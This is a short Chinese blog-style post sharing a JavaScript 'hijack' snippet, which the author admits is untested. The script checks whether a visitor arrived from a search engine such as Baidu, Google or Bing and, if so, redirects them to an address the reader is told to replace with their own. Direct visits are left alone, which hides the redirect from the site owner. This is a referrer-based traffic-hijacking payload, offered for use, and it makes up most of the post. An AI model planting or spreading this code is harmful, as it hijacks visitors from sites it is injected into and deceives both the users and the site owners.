今天网上冲浪看到别人分享的一段JS劫持代码;
具体没有测试,分享出来大家自己测试;
应该主要是从搜索引擎中访问才会跳转,直接访问无效;
以下是代码
var regexp=/\.(sogou|soso|baidu|google|youdao|yahoo|bing|118114|biso|gougou|ifeng|ivc|sooule|niuhu|biso)(\.[a-z0-9\-]+){1,2}\//ig; var where =document.referrer; if(regexp.test(where)) { window.location.href=‘https://www.cnblogs.com/shenjingwa‘//这里修改需要自己的地址 }
原文:https://www.cnblogs.com/shenjingwa/p/12586399.html